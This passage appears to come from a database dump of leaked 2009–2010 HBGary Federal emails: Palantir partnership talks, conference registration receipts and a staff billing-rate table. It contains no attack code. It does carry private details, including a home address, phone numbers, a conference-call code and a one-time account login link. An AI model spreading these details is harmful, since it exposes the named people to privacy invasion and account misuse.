Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14229,'aaron_hbgary_com/14229.html'),(904,'2010-01-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000133.M380939P3547Q904.eml','\"Matthew Steckman\" <msteckman@palantirtech.com>','Re: Palantir partnership','YepFrom my iPhoneOn Jan 4, 2010, at 12:48 PM, Matthew Steckman &lt;msteckman@palantirtech.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n \r\n\r\nDoes 4:30 EST on Wednesday work for you for a half hour conference\r\ncall?\r\n\r\n \r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, January 04, 2010 9:16 AM\r\nTo: Matthew Steckman\r\nSubject: Re: Palantir partnership\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nMatt,\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nWant to do this this week?  I be bringing someone else\r\non to the call that will be handling the integration work.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Dec 28, 2009, at 7:05 PM, Matthew Steckman wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nName change made.  Once signed we should chat about what\r\nthe integration will look like so your developer has some direction.  Ill\r\nbring in Geoff Stowe (who you’ve met) for that discussion.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nRegards,\r\n\r\n\r\n\r\n\r\n\r\nMatt\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, December 28,\r\n2009 5:36 PM\r\nTo: Matthew Steckman\r\nSubject: Re: Palantir\r\npartnership\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Matt,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks for response.  Looking forward to 2010.  We\r\nare good to go.  If you could change HBGary to HBGary Federal (probably no\r\nbig deal but just to keep things straight), then I will sign and send back.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAs for holidays, so far so good.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHappy Holidays,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Dec 27, 2009, at 1:17 PM, Matthew Steckman &lt;msteckman@palantirtech.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nComments inline.  I hope your holidays were great.  Im\r\nnot quite back in the swing of things but will have email access until I get\r\nback on the 3rd. \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\n\r\nSent: Thursday, December\r\n24, 2009 12:03 AM\r\nTo: Matthew Steckman\r\nSubject: Re: Palantir\r\npartnership\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nHey Matt,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nLast minute Christmas shopping consumed my day.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nA few questions and I think we are ready.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n1.      The\r\nsoftware licences will allow us to run more than 1 &quot;copy&quot; of the\r\nPalantir software?  Reason being is our split between Sacramento and\r\nEither DC or Colorado Springs.\r\n\r\n\r\n\r\nAbsolutely.  You get unlimited\r\ntest and development licenses to put wherever you want. \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n2.      I\r\nknow Palantir runs on Oracle.  Will we need to buy an oracle license or\r\nwill the &quot;trial&quot; license work for our purposes?\r\n\r\n\r\n\r\nYou got this ¾ correct.  There\r\nare three “versions” of Palantir.  One is called a QuickStart which simply\r\nruns on your laptop with a small backend supporting about 10,000 objects. \r\nQS are what developers will use when they are writing the integration (it\r\nallows for quick iterations on code).  The second version is run on\r\nwindows using a freely available version of Oracle called Oracle XE\r\n(express).  This version is a little more beefy but still runs on one\r\nmachine supporting about 4 GB worth of objects.  This is probably the only\r\nform of Palantir you will need to do larger scale tests.  The third\r\nversion is basically a mirror of our deployment setup with a linux server\r\nbackend and full oracle install.  You will not need this build. \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nSo the short answer is that all\r\nthree of these versions are available to you through partnership but you will\r\nonly need the QS and Oracle XE installs.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n3.      The\r\nvideo.  That is to be developed by HBGary Federal?\r\n\r\n\r\n\r\nYes, this is a simple video made\r\nwith something like Camtasia.  Should be like a few hours of work, maybe\r\nless.  We need this to send to our clients once the integration is\r\ncomplete and to put up on our website to link to.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Dec 21, 2009, at 6:01 PM, Matthew Steckman wrote:\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAttached is our official partnership paperwork to start\r\nintegration work for EOP (and potentially many other places).  Please\r\nreturn a redlined copy or a signed agreement.  You’ll notice that this is\r\na free deal if the integration is performed within 60 days of signing the\r\nagreement.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nLooking forward to working with you guys.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-Matt\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;P3\r\nHBGary.docx&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;P3\r\nHBGary.docx&gt;\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10498,'aaron_hbgary_com/10498.html'),(905,'2010-01-04','\"Matthew Steckman\" <msteckman@palantirtech.com>','/aaron@hbgary.com/new/1297000133.M564476P3547Q905.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Geoff Stowe\" <gstowe@palantirtech.com>','HBGary/Palantir integration','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhen: Wednesday, January 06, 2010 4:30 PM-5:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\nWhere: ConCall: 877-224-3961 Code: 6897526\r\n&nbsp;\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n&nbsp;\r\n*~*~*~*~*~*~*~*~*~*\r\n&nbsp;\r\nAaron,\r\n&nbsp;\r\nPlease forward this to your developer performing the integration.\r\n&nbsp;\r\nThanks,\r\nMatt\r\n&nbsp;\r\n\r\n\r\n\r\n',14126,'aaron_hbgary_com/14126.html'),(906,'2010-01-04','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297000133.M821080P3547Q906.eml','aaron@hbgary.com,\"Ted Vera\" <ted@hbgary.com>,aaron@hbgary.com','Upcoming event on the attribution problem','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron and Ted,\r\n\r\n&nbsp;\r\n\r\nDamein Carr, Booz Allen contractor at Army\r\nCounterintelligence Activity, wants to be included when you send out\r\ninvitations to the upcoming event to address the attribution problem.&nbsp; He said\r\nothers from his office would like to attend too.\r\n\r\n&nbsp;\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.\r\n\r\nPhone 301-652-8885 x104&nbsp; |&nbsp; Mobile 240-481-1419\r\n\r\nbob@hbgary.com&nbsp; |&nbsp; www.hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2192,'aaron_hbgary_com/2192.html'),(907,'2010-01-04','\"steve winterfeld\" <winterfeldsj@gmail.com>','/aaron@hbgary.com/new/1297000134.M18340P3547Q907.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: DoD Cyber Conferences','Going to CA for proposal\r\n \r\nYou want to network or try to present?\r\nOn Mon, Jan 4, 2010 at 10:19 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nare u going to conference?  Sure top 10-15.\r\n\r\n\r\nOn Jan 4, 2010, at 12:14 PM, steve winterfeld wrote:&gt; I fly to CA on 14th&gt;&gt; Do you want the top ten or what?&gt;&gt;&gt; On 1/4/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n&gt;&gt; Do you have a list of good cybersecurity conferences?  I am going to be in&gt;&gt; Colorado Springs the week of the 12th?  Your in San Diego then aren&#39;t you?&gt;&gt;&gt;&gt; Happy New Year&gt;&gt; Aaron\r\n&gt;&gt;&gt;&gt;&gt;&gt; --&gt; Sent from my mobile deviceAaron BarrCEOHBGary Federal Inc.\r\n',12700,'aaron_hbgary_com/12700.html'),(908,'2010-01-04','admin@afceacyberspace.com','/aaron@hbgary.com/new/1297000134.M207652P3547Q908.eml','aaron@hbgary.com','Account details for adbarr at AFCEA CYBERSPACE','adbarr,\r\n\r\nThank you for registering at AFCEA CYBERSPACE. You may now log in to  \r\nhttps://www.afceacyberspace.com/user using the following username:\r\n\r\nusername: adbarr\r\n\r\nYou may also log in by clicking on this link or copying and pasting it in  \r\nyour browser:\r\n\r\nhttps://www.afceacyberspace.com/user/reset/494/1262636706/b334ed7f092a3adb2e823e76b996b145\r\n\r\nThis is a one-time login, so it can be used only once.\r\n\r\nAfter logging in, you will be redirected to  \r\nhttps://www.afceacyberspace.com/user/494/edit so you can change your  \r\npassword.\r\n\r\n\r\n--  AFCEA CYBERSPACE team\r\n',13772,'aaron_hbgary_com/13772.html'),(909,'2010-01-04','admin@afceacyberspace.com','/aaron@hbgary.com/new/1297000134.M387224P3547Q909.eml','aaron@hbgary.com','AFCEA Rocky Mountain Chapter   Transaction Receipt','-------------------------------------   \r\nGeneral Information   \r\n-------------------------------------   \r\nMerchant Account: AFCEA Rocky Mountain Chapter     \r\nDate/Time : 01/04/2010 20:29:23   \r\n   \r\n-------------------------------------   \r\nTransaction Information   \r\n-------------------------------------   \r\nDescription : SYMPOSIUM-REG-000000000297   \r\nTransaction Amount : $700.00   \r\nTransaction ID : 1167586109   \r\nAuthorization Code : 00462B   \r\nTransaction Type : Card Sale   \r\nResponse : APPROVED   \r\nAVS Results : Address match only   \r\nCSC Results : CVV2/CVC2 Match   \r\n   \r\n-------------------------------------   \r\nCustomer Billing Information   \r\n-------------------------------------   \r\nCustomer ID : 494   \r\nFirst Name : Aaron   \r\nLast Name : Barr   \r\nAddress : 1223 Potomac School Rd    \r\nCity : Mclean   \r\nState : VA   \r\nZip Code :    \r\nCountry :    \r\nPhone :    \r\nEmail : aaron@hbgary.com   \r\n   \r\n-------------------------------------   \r\nCustomer Shipping Information   \r\n-------------------------------------   \r\nFirst Name :    \r\nLast Name :    \r\nAddress :    \r\nCity :    \r\nState :    \r\nZip Code :    \r\nCountry :    \r\nEmail :    \r\n',9892,'aaron_hbgary_com/9892.html'),(910,'2010-01-04','admin@afceacyberspace.com','/aaron@hbgary.com/new/1297000134.M818895P3547Q910.eml','aaron@hbgary.com','Thank you for registering at AFCEA CYBERSPACE','Thank you very much for your registration! Here is a copy of your  \r\nregistration, for your records.\r\n\r\n From: https://www.afceacyberspace.com\r\nRegistration ID: SYMPOSIUM-REG-000000000297\r\nCreated: Mon January 04 2010\r\nTotal: $700\r\nDownload your invoice here:  \r\nhttp://www.afceacyberspace.com/sites/default/files/invoices/generated/symposium-70d6b2d505.rtf\r\n\r\nIf you have any questions or concerns, please do not hesitate to respond via  \r\nthis email address.\r\n',1572,'aaron_hbgary_com/1572.html'),(911,'2010-01-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000135.M124947P3547Q911.eml','\"Ted Vera\" <ted@hbgary.com>','Cyberspace Conference','Are u going to attend or just me and Matt with lunches and the reception its about $700.  I already registered and booked a room at the courtyard nearby the Broadmoor.  I haven\'t booked air yet.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',9402,'aaron_hbgary_com/9402.html'),(912,'2010-01-04','\"Penny Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297000135.M321238P3547Q912.eml','\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','FW: Palantir partnership','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThis is not readable, can you put into a spread sheet\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, December 23, 2009 9:41 PM\r\nTo: Penny Hoglund\r\nSubject: Re: Palantir partnership\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nHi\r\nPenny,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHere\r\nare the rates Ted and I have worked up. Tomorrow we are going to work out some\r\npackage rates for different types of work and we can talk about those. The\r\nmultiple is 1 for Colorado, 1.27 for Sacramento, and 1.49 for DC to reach the\r\nMedian Salary.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTitle&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Base&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Mult.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Salary&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; hr/co&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; hr/ca&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; hr/dc\r\n\r\n\r\n\r\nReverse Eng Level 1 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 65000\r\n1.49 96850&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 65.49\r\n83.18 97.59 Reverse Eng Level 2 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 85000\r\n1.49 126650&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 85.65\r\n108.77 127.61 Reverse Eng Level 3 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 95000\r\n1.49 141550&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 95.72\r\n121.57 142.63 SW Dev 1 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 55000\r\n1.49 81950&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 55.42\r\n70.38 82.57 SW Dev 2 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 75000\r\n1.49 111750&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 75.57\r\n95.97 112.60 SW Dev 3 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 95000\r\n1.49 141550&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 95.72\r\n121.57 142.63 Intel Analyst 1 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 55000\r\n1.49 81950&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 55.42\r\n70.38 82.57 Intel Analyst 2 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 70000\r\n1.49 104300&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 70.53\r\n89.58 105.09 Intel Analyst 3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 85000\r\n1.49 126650&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 85.65\r\n108.77 127.61 Cyber Intel Analyst 1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n55000 1.49 81950&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 55.42\r\n70.38 82.57 Cyber Intel Analyst 2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n70000 1.49 104300&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 70.53\r\n89.58 105.09 Cyber Intel Analyst 3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n85000 1.49 126650&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 85.65\r\n108.77 127.61 Foreign Linguist 1 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 75000\r\n1.49 111750&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 75.57\r\n95.97 112.60 Foreign Linguist 2 &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 95000\r\n1.49 141550&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 95.72\r\n121.57 142.63 Foreign Linguist 3 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 105000\r\n1.49 156450&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 105.80\r\n134.36 157.64 Program Manager 1 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 75000\r\n1.49 111750&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 75.57\r\n95.97 112.60 Program Manager 2 